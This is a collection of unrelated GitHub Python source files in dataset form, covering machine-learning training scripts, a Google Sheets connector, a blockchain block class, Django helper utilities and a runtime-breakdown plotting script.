110, 130, 150, 170, 180, 190], gamma=0.6)\n \n # print(\"=> loading checkpoint '{}'\".format(snap_to_load))\n # checkpoint = torch.load(path.join(models_folder, snap_to_load), map_location='cpu')\n # loaded_dict = checkpoint['state_dict']\n # sd = model.state_dict()\n # for k in model.state_dict():\n # if k in loaded_dict and sd[k].size() == loaded_dict[k].size():\n # sd[k] = loaded_dict[k]\n # loaded_dict = sd\n # model.load_state_dict(loaded_dict)\n # print(\"loaded checkpoint '{}' (epoch {}, best_score {})\"\n # .format(snap_to_load, checkpoint['epoch'], checkpoint['best_score']))\n # del loaded_dict\n # del sd\n # del checkpoint\n\n gc.collect()\n torch.cuda.empty_cache()\n\n model = nn.DataParallel(model).cuda()\n\n seg_loss = ComboLoss({'dice': 1, 'focal': 8}, per_image=False).cuda()\n weights_ = torch.tensor([0.10,1.,0.80,1.])\n ce_loss = nn.CrossEntropyLoss(weight=weights_).cuda()\n\n best_score = 0\n torch.cuda.empty_cache()\n\n scaler = amp.GradScaler()\n\n for epoch in range(100):\n train_epoch(epoch, seg_loss, ce_loss, model, optimizer, scheduler, train_data_loader)\n if epoch % 2 == 0:\n torch.cuda.empty_cache()\n best_score = evaluate_val(val_data_loader, best_score, model, snapshot_name, epoch)\n\n elapsed = timeit.default_timer() - t0\n torch.cuda.empty_cache()\n print('Time: {:.3f} min'.format(elapsed / 60))\n\n","repo_name":"nka77/DAHiTra","sub_path":"xBD_code/train_dual_hrnet.py","file_name":"train_dual_hrnet.py","file_ext":"py","file_size_in_byte":15985,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"76"} +{"seq_id":"73991495606","text":"\"\"\"Module for connecting to Google Sheets and adding data to it.\"\"\"\n\nimport gspread\nimport pandas as pd\nimport streamlit as st\nfrom google.oauth2.service_account import Credentials\n\nfrom src.exceptions import WorksheetError\n\nSCOPES = [\n \"https://www.googleapis.com/auth/spreadsheets\",\n \"https://www.googleapis.com/auth/drive\",\n]\n\ncredentials = Credentials.from_service_account_info(\n st.secrets[\"gcp_service_account\"],\n scopes=SCOPES,\n)\n\nSHEET_TITLE = st.secrets[\"gsheets\"][\"sheet_title\"]\n\ngc = gspread.authorize(credentials)\nsh = gc.open(SHEET_TITLE)\n\n\nclass IndexSheet:\n \"\"\"Class to manage the sheet with consumption indexes.\"\"\"\n\n def __init__(self, sheet_name):\n \"\"\"\n Initialize the class.\n\n Parameters\n ----------\n sheet_name: str\n The name of the sheet.\n\n Raises\n ------\n Exception: If the sheet is not found.\n \"\"\"\n self.sheet_name = sheet_name\n try:\n self.sheet = sh.worksheet(sheet_name)\n except gspread.WorksheetNotFound as exc:\n raise WorksheetError(f\"Worksheet {sheet_name} not found.\") from exc\n\n def get_content_as_df(self):\n \"\"\"Return the content of the sheet as a dataframe.\"\"\"\n return pd.DataFrame(self.sheet.get_all_records())\n\n def add_row_to_sheet(self, body: list):\n \"\"\"Add a row to the sheet.\"\"\"\n self.sheet.append_row(body)\n\n def get_last_row(self) -> dict:\n \"\"\"Return the last row of the sheet.\"\"\"\n return self.sheet.get_all_records()[-1]\n\n def update_row_in_sheet(self, row: int, body: list):\n \"\"\"Update a row in the sheet.\"\"\"\n for col, value in enumerate(body):\n self.sheet.update_cell(row, col + 1, value)\n","repo_name":"e-vdb/app-conso-energie","sub_path":"src/google_sheet_connect.py","file_name":"google_sheet_connect.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"15543177110","text":"import json\nimport hashlib\nfrom components.transaction import Transaction\n\n\nclass Block:\n\n def __init__(self, index, timestamp, previous_hash, transactions, nonce, hash=None, mined_by=None):\n self.index = index\n self.timestamp = timestamp\n self.previous_hash = previous_hash\n self.transactions = transactions\n self.nonce = nonce\n self.hash = hash\n self.mined_by = mined_by\n\n def to_json(self):\n block_json = {\n 'index': self.index,\n 'timestamp': self.timestamp,\n 'previous_hash': self.previous_hash,\n 'transactions': [tx.to_json() for tx in self.transactions],\n 'nonce': self.nonce,\n 'hash': self.hash,\n 'mined_by': self.mined_by\n }\n return block_json\n\n @staticmethod\n def from_json(block_json):\n transactions = [Transaction.from_json(\n tx) for tx in block_json['transactions']]\n return Block(\n index=block_json['index'],\n timestamp=block_json['timestamp'],\n previous_hash=block_json['previous_hash'],\n transactions=transactions,\n nonce=block_json['nonce'],\n hash=block_json['hash'],\n mined_by=block_json['mined_by']\n )\n\n @staticmethod\n def hash_block(block):\n block_json = block.to_json()\n if 'hash' in block_json:\n del block_json['hash']\n encoded_block = json.dumps(block_json, sort_keys=True).encode()\n return hashlib.sha256(encoded_block).hexdigest()\n","repo_name":"rahulreddy15/thesis-repo","sub_path":"components/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"31757956419","text":"import pickle\nimport sys\n\nfrom datetime import datetime\nfrom time import mktime\n\nfrom website import models\n\nfor p in models.Post.objects.all():\n p.delete()\n\ndata = pickle.load(open(sys.argv[1], 'r'))\nentries = data['entries']\n\nfor e in entries:\n dt = datetime.fromtimestamp(mktime(e['published_parsed']))\n text = e['summary']\n p = models.Post.objects.create(\n title=e['title'], url_name=e['link'].rsplit('/', 1)[1],\n summary='%s%s' % (text.split('

    ')[0], '

    '), text=text, published_on=dt)\n p.tags\n tags = e.get('tags', None)\n if tags:\n p.tags.extend([t['term'] for t in e['tags']])\n p.save()\n\n","repo_name":"madhusudancs/mysite","sub_path":"scripts/oldblogimport.py","file_name":"oldblogimport.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"5872078211","text":"from lightning.pytorch import Trainer\nfrom model import NN\nfrom dataset import kickBallDataModule\nfrom lightning.pytorch.loggers import CSVLogger\nimport config\n\n\nif __name__ == \"__main__\":\n '''\n utilities.calc_mean_std(\n data_dir=config.DATA_DIR,\n batch_size=config.BATCH_SIZE,\n num_workers=config.NUM_WORKERS,\n num_channels=config.NUM_CHANNELS \n )\n '''\n \n model = NN(\n input_size=config.INPUT_SIZE,\n learning_rate=config.LEARNING_RATE,\n num_classes=config.NUM_CLASSES,\n class_weighting=config.CLASS_WEIGHTING\n )\n dm = kickBallDataModule(\n data_dir=config.DATA_DIR,\n batch_size=config.BATCH_SIZE,\n num_workers=config.NUM_WORKERS,\n img_height=config.IMAGE_HEIGHT,\n img_width=config.IMAGE_WIDTH,\n data_mean=config.DATA_MEAN,\n data_std=config.DATA_STD,\n )\n trainer = Trainer(\n accelerator=config.ACCELERATOR,\n min_epochs=config.MIN_EPOCHS,\n max_epochs=config.MAX_EPOCHS,\n precision=config.PRECISION,\n logger= CSVLogger(save_dir=config.LOGS_FOLDER)\n ) \n\n trainer.fit(model, dm)\n trainer.validate(model, dm)\n trainer.test(model, dm)","repo_name":"hansaskov/lightning","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"145170574","text":"from rxn_yield_context.evaluate_model.eval_utils import ReactionContextPredictor\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--class_data_path',type=str,\n default='data/reaxys_output')\n parser.add_argument('--input_data_path',type=str,\n default='paper_examples.txt')\n parser.add_argument('--candidate_generation_model_path',type=str,\n default='save_models/test_10R_first_local_10/multitask_model_epoch-80.checkpoint')\n parser.add_argument('--ranking_model_path',type=str,\n default='save_models/test_10R_second_7/rxn_model_relevance_listwise_morgan_epoch-80.checkpoint')\n parser.add_argument('--cutoff_solvent',type=float,default=0.3)\n parser.add_argument('--cutoff_reagent',type=float,default=0.3)\n parser.add_argument('--verbose', default=True, type=lambda x: (str(x).lower() in ['false','0', 'no'])) # Whether to print failed prediction information\n args = parser.parse_args()\n\nwith open(args.input_data_path) as f:\n rxn_smiles_list = [rxn.strip() for rxn in f.readlines()]\n\nrc_predictor = ReactionContextPredictor(args.class_data_path, args.candidate_generation_model_path, args.ranking_model_path, \n cutoff_solv=args.cutoff_solvent, cutoff_reag=args.cutoff_reagent, verbose=args.verbose)\noutput_results = rc_predictor.recommend_reaction_context(rxn_smiles_list, max_display=20)\nfor i, result in enumerate(output_results):\n result.to_csv(\"example_results/{}.csv\".format(i), index=False)","repo_name":"Lung-Yi/rxn_yield_context","sub_path":"evaluate_example.py","file_name":"evaluate_example.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"69928311606","text":"import smtplib\nfrom email.mime.text import MIMEText\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.auth.models import Permission\nfrom django.utils.text import slugify\nfrom django import forms\n\nimport inspect\n\n\ndef set_drop_downs_in_form(_form_obj, **kwargs):\n # print(kwargs)\n _field_list = _form_obj.fields.keys()\n\n if 'select_state' in _field_list:\n _form_obj.fields['select_state'].widget = \\\n forms.Select(choices=[('', '--- Select One ---')] + kwargs['SELECT_STATE_OPTIONS'])\n\n if 'select_board' in _field_list:\n _form_obj.fields['select_board'].widget = \\\n forms.Select(choices=[('', '--- Select One ---')] + kwargs['SELECT_BOARD_OPTIONS'])\n\n if 'select_grade' in _field_list:\n if 'grade' in kwargs.keys():\n if kwargs['grade']['type'] == 'multi_select':\n _form_obj.fields['select_grade'].widget = \\\n forms.CheckboxSelectMultiple(choices=kwargs['SELECT_GRADE_OPTIONS'])\n elif kwargs['grade']['type'] == 'radio_select':\n _form_obj.fields['select_grade'].widget = \\\n forms.RadioSelect(choices=kwargs['SELECT_GRADE_OPTIONS'])\n else:\n _form_obj.fields['select_grade'].widget = \\\n forms.Select(choices=[('', '--- Select One ---')] + kwargs['SELECT_GRADE_OPTIONS'])\n\n\ndef get_options_from_hidden_filed(value_str):\n \"\"\"\n return options = [('key', 'val'), ... .. ]\n Get options to add on form fields when error happen.\n \"\"\"\n _options = []\n data_list = value_str.strip('||').split('||') if value_str else []\n\n for data in data_list:\n value = data.split(':')\n _options.append((value[0], value[1]))\n return _options\n\n\ndef refile_form_from_hidden_fields(_form_obj, grade_type=None):\n SELECT_STATE_OPTIONS = get_options_from_hidden_filed(_form_obj.data['hidden_select_state'])\n SELECT_BOARD_OPTIONS = get_options_from_hidden_filed(_form_obj.data['hidden_select_board'])\n SELECT_GRADE_OPTIONS = get_options_from_hidden_filed(_form_obj.data['hidden_select_grade'])\n\n base_data = {'SELECT_STATE_OPTIONS': SELECT_STATE_OPTIONS, 'SELECT_BOARD_OPTIONS': SELECT_BOARD_OPTIONS,\n 'SELECT_GRADE_OPTIONS': SELECT_GRADE_OPTIONS}\n if grade_type:\n base_data['grade'] = grade_type\n set_drop_downs_in_form(_form_obj, **base_data)\n\n\ndef hide_all_related_child(instance):\n from constants.global_constant import (PERMISSION_CODENAME_FORMAT, PERMISSION_NAME_FORMAT)\n _class_name = instance.__class__.__name__\n _parent_key = instance.code\n _modal_name = PERMISSION_CODENAME_FORMAT.get(_class_name.lower())\n _loop_on_child_modal = PERMISSION_NAME_FORMAT[PERMISSION_NAME_FORMAT.index(_modal_name)+1:]\n print(_loop_on_child_modal)\n\n\ndef get_log_msg(instance, **kwargs):\n instance.change_message = str(instance)\n return instance\n\n\ndef uuid_name_definition(parent, str_uuid):\n \"\"\"\n :param parent:\n :param str_uuid:\n :return: A uuid string of full branch( call from models local function)\n \"\"\"\n return (parent.get_uuid_name_definition() + \" | \" + str_uuid).lower()\n\n\ndef name_definition(title, parent):\n return (str(parent)+\" | \"+title).lower()\n\n\ndef get_permission_name(instance):\n return 'crud | '+str(instance)\n\n# from g3_dashboard import settings\n\n# import requests\n# def send_simple_mail():\n# return requests.post(\n# \"https://api.mailgun.net/v3/sandbox3c2172091a0d419e867ec7bf45185cdb.mailgun.org/messages\",\n# auth=(\"api\", \"key-3d91be5330422b6a78f9e9d859010763\"),\n# data={\"from\": \"Mailgun Sandbox \",\n# \"to\": \"gaurav \",\n# \"subject\": \"Hello gaurav\",\n# \"text\": \"Congratulations gaurav, you just sent an email with \"\n# \"Mailgun! You are truly awesome! You can see a record of this email in your \"\n# \"logs: https://mailgun.com/cp/log . You can send up to 300 emails/day from this \"\n# \"sandbox server. Next, you should add your own domain so you can send 10,000 \"\n# \"emails/month for free.\"})\n\n\ndef get_users_permissions_list(request, permissions):\n if request.user.is_superuser:\n permissions_queryset = permissions.queryset.all()\n elif request.user.is_staff:\n permissions_id = []\n for group in request.user.groups.all():\n for permission in group.permissions.all():\n permissions_id.append(permission.id)\n # print(permissions_id)\n for perm in Permission.objects.filter(user=request.user):\n permissions_id.append(perm.id)\n\n permissions_queryset = permissions.queryset.filter(\n pk__in=permissions_id, content_type__model='moduledata'\n ).exclude(name__icontains='Can')\n else:\n permissions_queryset = permissions.queryset.filter(user=request.user)\n return permissions_queryset\n\n\ndef send_mail(to, subject, msg_body, password=None):\n \"\"\"\n Call to send email on users email address\n :param to:\n :param subject:\n :param msg_body:\n :param password:\n :return: True is user mail is send success\n \"\"\"\n if password:\n msg_content = msg_body\n message = MIMEText(msg_content, 'html')\n\n message['From'] = '3G DashBoard '\n message['To'] = to\n message['Cc'] = 'Gaurav Tyagi '\n message['Subject'] = subject\n\n msg_full = message.as_string()\n\n server = smtplib.SMTP('smtp.gmail.com:587')\n server.starttls()\n try:\n server.login('gaurav@madmachines.io', password)\n server.sendmail('gaurav@madmachines.io',\n ['grvtyagi22@gmail.com'],\n msg_full)\n except Exception as e:\n print(e.args)\n finally:\n server.quit()\n\n\ndef create_object_permission(app_label, model_name, per_codename, per_name, uuid_codename):\n \"\"\"\n Create permission on every object creations ...\n \"\"\"\n content_type = ContentType.objects.get(app_label=app_label.lower(), model=model_name.lower())\n permission = Permission.objects.get_or_create(\n # name=per_name.lower(),\n uuid_codename=uuid_codename,\n defaults={\n # 'uuid_codename': uuid_codename,\n 'name': per_name.lower(),\n 'content_type': content_type,\n 'codename': per_codename.lower()\n }\n )\n\n return permission\n\n\ndef create_slug(sender, instance, new_slug=None):\n \"\"\"\n Recursive function to check duplicate slug and create new slug from instance title.\n :param sender:\n :param instance:\n :param new_slug:\n :return:\n \"\"\"\n slug = slugify(instance.title)\n if new_slug is not None:\n slug = new_slug\n qs = sender.objects.filter(slug=slug).order_by('-id')\n if qs.exists():\n new_slug = '%s-%s' %(slug, qs.count())\n return create_slug(sender, instance, new_slug=new_slug)\n return slug\n\n\ndef add_current_objects_parent_to_request_session(sender, instance, **kwargs):\n \"\"\"\n :param sender:\n :param instance:\n :param kwargs:\n :return: Save objects code on pre_save\n class data for get its parent's code when initialize form drop down.\n \"\"\"\n for frame_record in inspect.stack():\n if frame_record[3] == 'get_response':\n request = frame_record[0].f_locals['request']\n break\n else:\n request = None\n if request:\n request.session['LS:'+sender.__name__] = str(instance.code)\n","repo_name":"grv07/3g-dashboard","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"39730538002","text":"#! /u/sgupta45/conda/bin/python3\nfrom enum import auto, Enum\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nclass ReadState(Enum):\n FIRST_ARGUMENT = auto()\n REM_ARGUMENTS = auto()\n RESULTS = auto()\n\navg = lambda l : sum(l) / len(l)\n\ndef acc_runtime(ax):\n accelerators = ['canny_non_max', 'convolution', 'edge_tracking',\n 'elem_matrix', 'grayscale', 'harris_non_max', 'isp']\n runtime = {'compute': [], 'memory': []}\n\n for i, acc in enumerate(accelerators):\n runtime['compute'].append([])\n runtime['memory'].append([])\n read_state = ReadState.FIRST_ARGUMENT\n\n for line in open('../solo_acc/' + acc + '/debug-trace.txt'):\n if 'Transfer completed' in line:\n time = float(line.split()[5])\n\n if read_state == ReadState.FIRST_ARGUMENT:\n runtime['memory'][i].append(time)\n read_state = ReadState.REM_ARGUMENTS\n elif read_state == ReadState.REM_ARGUMENTS:\n runtime['memory'][i][-1] += time\n elif read_state == ReadState.RESULTS:\n runtime['memory'][i][-1] += time\n read_state = ReadState.FIRST_ARGUMENT\n else:\n print('Invalid read state')\n exit(-1)\n\n elif ('Runtime' in line) and ('us' in line):\n runtime['compute'][i].append(float(line.split()[1]))\n read_state = ReadState.RESULTS\n\n avg_compute_ratio = 0\n for j in range(len(runtime['compute'][i])):\n compute_time = runtime['compute'][i][j]\n memory_time = runtime['memory'][i][j]\n avg_compute_ratio += compute_time / (compute_time + memory_time)\n avg_compute_ratio = (avg_compute_ratio / len(runtime['compute'][i])) * 100\n\n print(acc + ': ' + str(avg(runtime['compute'][i])) + ', ' + \\\n str(avg(runtime['memory'][i])) + ', ' + \\\n str(100 - avg_compute_ratio))\n runtime['compute'][i] = avg_compute_ratio\n runtime['memory'][i] = 100 - avg_compute_ratio\n print()\n\n # add the bars\n rects1 = ax.bar(accelerators, runtime['compute'], width, label='Compute',\n edgecolor='k', zorder=3, fc='w', hatch='xx')\n rects2 = ax.bar(accelerators, runtime['memory'], width, label='Data transfer',\n edgecolor='k', zorder=3, bottom=runtime['compute'], fc='w',\n hatch='..')\n\n # add labels and colors\n ax.set_xlabel('Accelerator', fontsize=25)\n ax.set_xticklabels(accelerators, rotation='vertical')\n\n ax.set_yticks(range(10, 110, 10))\n ax.set_ylabel('Time (%)', fontsize=25)\n ax.set_ylim([0,120])\n\n ax.grid(color='silver', linestyle='-', linewidth=1, zorder=0)\n ax.tick_params(axis='both', which='major', labelsize=25)\n ax.legend(ncol=2, fontsize=20)\n\ndef pipeline_runtime(ax):\n pipelines = ['canny', 'deblur', 'harris', 'gru', 'lstm']\n runtime = {'compute': [], 'memory': []}\n\n for i, pipeline in enumerate(pipelines):\n runtime['compute'].append(0)\n runtime['memory'].append(0)\n read_state = ReadState.FIRST_ARGUMENT\n\n app_mix_str = ''\n for app in sorted(pipelines):\n app_mix_str += app + '_'\n app_mix_str += '1_' if app == pipeline else '0_'\n\n for line in open('../solo_app_wo_fwd/' + app_mix_str + 'GEDF/debug-trace.txt'):\n if 'Transfer completed' in line:\n runtime['memory'][i] += float(line.split()[5])\n\n elif ('Runtime' in line) and ('us' in line):\n runtime['compute'][i] += float(line.split()[1])\n\n compute_ratio = (runtime['compute'][i] / (runtime['compute'][i] + \\\n runtime['memory'][i])) * 100\n\n print(pipeline + ': ' + str(runtime['compute'][i]) + ', ' + \\\n str(runtime['memory'][i]) + ', ' + str(100 - compute_ratio))\n runtime['compute'][i] = compute_ratio\n runtime['memory'][i] = 100 - compute_ratio\n\n # add the bars\n rects1 = ax.bar(pipelines, runtime['compute'], width, label='Compute',\n edgecolor='k', zorder=3, fc='w', hatch='xx')\n rects2 = ax.bar(pipelines, runtime['memory'], width, label='Data transfer',\n edgecolor='k', zorder=3, bottom=runtime['compute'], fc='w',\n hatch='..')\n\n # add labels and colors\n ax.set_xlabel('Application', fontsize=25)\n ax.set_xticklabels(pipelines, rotation='vertical')\n\n ax.set_yticks(range(10, 110, 10))\n ax.set_ylabel('Time (%)', fontsize=25)\n ax.set_ylim([0,120])\n\n ax.grid(color='silver', linestyle='-', linewidth=1, zorder=0)\n ax.tick_params(axis='both', which='major', labelsize=25)\n ax.legend(ncol=2, fontsize=20)\n\nfig, ax = plt.subplots(1, 2)\nwidth = 0.5\n\nacc_runtime(ax[0])\npipeline_runtime(ax[1])\n\ntitle_offset = -1\nax[0].set_title('(a)', fontsize=25)\nax[1].set_title('(b)', fontsize=25)\n\nfig.set_size_inches(14, 8)\nfig.tight_layout()\n\n# save the image\nplt.savefig('plots/runtime_breakdown.pdf')\n","repo_name":"Sacusa/gem5-SALAM","sub_path":"BM_ARM_OUT/scripts/plot_runtime_breakdown.py","file_name":"plot_runtime_breakdown.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"2714588564","text":"import torch\nfrom torch import Tensor\nfrom typing import Tuple\nimport torch.nn as nn\nimport torch.optim as optim\nimport pandas as pd\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport argparse\nimport matplotlib.pyplot as plt\nfrom models_batch import VanillaLSTM, VanillaRNN, VanillaGRU, VanillaReLURNN\nfrom Dyck_Generator_Suzgun_Batch import DyckLanguage\nimport random\nfrom torch.utils.tensorboard import SummaryWriter\n# from tensorboardX import SummaryWriter\nfrom torch.utils.data import Dataset, DataLoader\nfrom Dyck1_Datasets import NextTokenPredictionLongTestDataset, NextTokenPredictionShortTestDataset, \\\n NextTokenPredictionTrainDataset, NextTokenPredictionDataset102to500tokens,NextTokenPredictionDataset502to1000tokens, \\\n NextTokenPredictionDataset990to1000tokens, NextTokenPredictionDataset2000tokens, \\\n NextTokenPredictionDataset2000tokens_nested, NextTokenPredictionDataset2000tokens_zigzag, NextTokenPredictionDataset1000tokens, \\\n NextTokenPredictionValidationDataset\n\nseed = 10\ntorch.manual_seed(seed)\nnp.random.seed(seed)\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\n# \n# \n# \"\"\"\n# Steps:\n# \n# - Read the excel sheets and save them into a list of dataframes\n# - Create arrays of train losses, validation losses, long validation losses (from the values in dataframes)\n# - loop based on runs\n# - Import the model based on the arguments from arg parser\n# - Test on the long and very long test sets\n# - loop based on checkpoint step\n# - Import the saved models from every checkpoint\n# -\n# \n# \n# \"\"\"\n# \n# parser = argparse.ArgumentParser()\n# parser.add_argument('--model_name', type=str, help='input model name (VanillaLSTM, VanillaRNN, VanillaGRU)')\n# parser.add_argument('--task', type=str, help='NextTokenPrediction, BinaryClassification, TernaryClassification')\n# parser.add_argument('--feedback', type=str, help='EveryTimeStep, EndofSequence')\n# parser.add_argument('--hidden_size', type=int, help='hidden size')\n# parser.add_argument('--num_layers', type=int, help='number of layers', default=1)\n# parser.add_argument('--batch_size', type=int, help='batch size', default=1)\n# parser.add_argument('--learning_rate', type=float, help='learning rate')\n# parser.add_argument('--lr_scheduler_step',type=int, help='number of epochs before reducing', default=100)\n# parser.add_argument('--lr_scheduler_gamma',type=float, help='multiplication factor for lr scheduler', default=1.0)\n# parser.add_argument('--num_epochs', type=int, help='number of training epochs')\n# parser.add_argument('--num_runs', type=int, help='number of training runs')\n# # parser.add_argument('--best_run',type=int,help='run with the lowest loss and highest accuracy',default=-1)\n# parser.add_argument('--checkpoint_step', type=int, help='checkpoint step', default=0)\n# parser.add_argument('--shuffle_dataset',type=bool,default=False)\n# parser.add_argument('--num_checkpoints', type=int,default=100, help='number of checkpoints we want to include if we dont need all of them (e.g., first 5 checkpoints only), stop after n checkpoints')\n# # parser.add_argument('--dataset_type',type=str, default='nested',help='nested, zigzag or appended')\n# parser.add_argument('--dataset_type',type=str, default='nested',help='nested, zigzag or concatenated')\n# \n# \n# args = parser.parse_args()\n# \n# model_name = args.model_name\n# task = args.task\n# feedback = args.feedback\n# hidden_size = args.hidden_size\n# num_layers = args.num_layers\n# learning_rate = args.learning_rate\n# num_epochs = args.num_epochs\n# num_runs = args.num_runs\n# batch_size = args.batch_size\n# # load_model = args.load_model\n# lr_scheduler_gamma = args.lr_scheduler_gamma\n# lr_scheduler_step = args.lr_scheduler_step\n# num_checkpoints = args.num_checkpoints\n# dataset_type = args.dataset_type\n# \n# \n# \n# \n# checkpoint_step = int(num_epochs/4)\n# if args.checkpoint_step!=0:\n# checkpoint_step = args.checkpoint_step\n# \n# shuffle_dataset = args.shuffle_dataset\n# \n# \n# \n# \n# use_optimiser='Adam'\n# \n# num_bracket_pairs = 25\n# \n# length_bracket_pairs = 50\n# \n# \n# device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# \n# vocab = ['(', ')']\n# # vocab = {'PAD':0, '(':1,')':2}\n# tags = {'':0, '0':1, '1':2}\n# n_letters= len(vocab)\n# n_tags = len(tags)-1\n# num_bracket_pairs = 25\n# length_bracket_pairs = 50\n# \n# \n# \n# pad_token=0\n# \n# \n# \n# \n# NUM_PAR = 1\n# MIN_SIZE = 950\n# MAX_SIZE = 1000\n# P_VAL = 0.5\n# Q_VAL = 0.25\n# \n# \n# epsilon=0.5\n# \n# \n# \n# Dyck = DyckLanguage(NUM_PAR, P_VAL, Q_VAL)\n# \n# \n# path = \"/content/drive/MyDrive/PhD/EXPT_LOGS/Dyck1_\"+str(task)+\"/Minibatch_Training/\"+model_name+\"/\"\\\n# +str(batch_size)+\"_batch_size/\"+str(learning_rate)+\"_learning_rate/\"+str(num_epochs)+\"_epochs/\"\\\n# +str(lr_scheduler_step)+\"_lr_scheduler_step/\"+str(lr_scheduler_gamma)+\"_lr_scheduler_gamma/\"\\\n# +str(hidden_size)+\"_hidden_units/\"+str(num_runs)+\"_runs/shuffle_\"+str(shuffle_dataset)+\"/\"\n# \n# \n# \n# \n# print('model_name = ',model_name)\n# print('task = ',task)\n# print('feedback = ',feedback)\n# print('hidden_size = ',hidden_size)\n# print('batch_size = ',batch_size)\n# print('num_layers = ',num_layers)\n# print('learning_rate = ',learning_rate)\n# print('num_epochs = ',num_epochs)\n# print('num_runs = ',num_runs)\n# print('shuffle = ',shuffle_dataset)\n# print('dataset_type = ',dataset_type)\n# \n# \n# \n# \n# \n# file_name = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+str(lr_scheduler_step)+\"lr_scheduler_step_\"+str(lr_scheduler_gamma)+\"lr_scheduler_gamma_\"+ str(num_runs)+'runs_INFERENCE_INDICATORS' + '.txt'\n# \n# \n# \n# excel_name = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+str(lr_scheduler_step)+\"lr_scheduler_step_\"+str(lr_scheduler_gamma)+\"lr_scheduler_gamma_\"+ str(num_runs)+'runs' + '.xlsx'\n# \n# modelname = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+ str(num_runs)+'runs' + '_MODEL_'\n# \n# optimname = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+str(lr_scheduler_step)+\"lr_scheduler_step_\"+str(lr_scheduler_gamma)+\"lr_scheduler_gamma_\"+ str(num_runs)+'runs' + '_OPTIMISER.pth'\n# \n# test_log = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+str(lr_scheduler_step)+\"lr_scheduler_step_\"+str(lr_scheduler_gamma)+\"lr_scheduler_gamma_\"+ str(num_runs)+'runs_'+str(checkpoint_step)+\"checkpoint_step_\"+str(num_checkpoints)+\"checkpoints\" + '_TEST_LOG_INFERENCE_INDICATORS.txt'\n# long_test_log = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+str(lr_scheduler_step)+\"lr_scheduler_step_\"+str(lr_scheduler_gamma)+\"lr_scheduler_gamma_\"+ str(num_runs)+'runs_'+str(checkpoint_step)+\"checkpoint_step_\"+str(num_checkpoints)+\"checkpoints\" + '_LONG_TEST_LOG_INFERENCE_INDICATORS.txt'\n# plot_name = path+'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+ str(num_runs)+'runs_'+str(checkpoint_step)+\"checkpoint_step_\"+str(num_checkpoints)+\"checkpoints\" + '_PLOT.png'\n# \n# checkpoint = path+ 'Dyck1_' + task + '_' + str(\n# num_bracket_pairs) + '_bracket_pairs_' + model_name + '_Feedback_' + feedback + '_' +str(batch_size) +'_batch_size_'+'_' + str(\n# hidden_size) + 'hidden_units_' + use_optimiser + '_lr=' + str(learning_rate) + '_' + str(\n# num_epochs) + 'epochs_'+str(lr_scheduler_step)+\"lr_scheduler_step_\"+str(lr_scheduler_gamma)+\"lr_scheduler_gamma_\"+ str(num_runs)+'runs' + '_CHECKPOINT_'\n# \n# \n# \n# prefix = path+'INFERENCE_'+dataset_type+'_'+str(checkpoint_step)+'checkpoint_step_upto'+str(num_checkpoints)+'checkpoints_'\n# 